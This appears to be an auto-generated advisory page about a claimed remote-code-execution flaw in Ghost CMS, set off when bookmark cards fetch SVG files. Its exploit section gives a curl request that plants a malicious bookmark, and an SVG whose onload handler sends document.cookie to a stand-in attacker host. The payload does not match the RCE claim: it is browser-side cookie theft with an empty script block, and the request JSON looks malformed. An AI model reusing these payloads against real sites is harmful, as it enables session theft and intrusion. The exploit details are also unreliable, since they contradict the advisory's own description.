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The vulnerability tracked as CVE-2026-105642 exists within the Ghost content management system, specifically affecting versions 6.56.0 through 6.66.3. It stems from how an integrated image processing library bundled with Ghost handles Scalable Vector Graphics (SVG) files during bookmark card creation. When a low-privileged staff user, such as a site Contributor, creates a bookmark card pointing to an attacker-controlled external website, the backend service fetches and processes the remote assets, including icons and thumbnails. Because the application fails to adequately sanitize or restrict malicious code embedded within SVG structures, an attacker can supply a crafted vector file containing execution payloads. When parsed by the underlying rendering or processing engine on the server, this flaw triggers improper control of code generation, leading directly to arbitrary command execution on the host server under the privileges of the Node.js application process.
DailyCVE Form:
Platform: Ghost CMS
Version: 6.56.0-6.66.3
Vulnerability : RCE via SVG
Severity: High
date: 2026-10-01
Prediction: 2026-10-07
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The flaw targets internal image parsing modules handling remote metadata fetching for bookmark cards. Insufficient input validation on external SVG elements allows embedded script payloads or system instructions to pass into vulnerable parsing functions. Attackers leverage low-privileged contributor accounts to initiate outbound web requests that return malicious vector graphics, resulting in code execution within the server context.
Exploit: (Educational Purposes!)
Example curl interaction simulating malicious bookmark metadata submission
curl -X POST 'https://target-ghost-site.local/ghost/api/admin/posts/' \
-H 'Authorization: Bearer <Contributor_Token>' \
-H 'Content-Type: application/json' \
--data '{"posts":[{"":"Exploit Post","lexicon":"{\"cards\":[[\"bookmark\",{\"url\":\"http://attacker-controlled.local/payload.svg\"}]]}"}]}'
// Conceptual malicious SVG payload structure for command execution testing
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('http://attacker-controlled.local/log?cookie='+document.cookie)">
<script type="text/javascript">
// Arbitrary command wrapper handling server-side parsing weaknesses
</script>
</svg>
Protection: from this CVE
Update Ghost instance using Ghost-CLI to patched version 6.67.0 or higher ghost update 6.67.0 For Docker-based deployments, pull the latest official image tag docker pull ghost:6.67.0 docker-compose down && docker-compose up -d
Impact:
Compromise of the underlying host server infrastructure, unauthorized execution of arbitrary system commands, potential privilege escalation, data exfiltration, and full operational takeover of the affected Ghost CMS node.
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Sources:
Reported By: github.com
Extra Source Hub:
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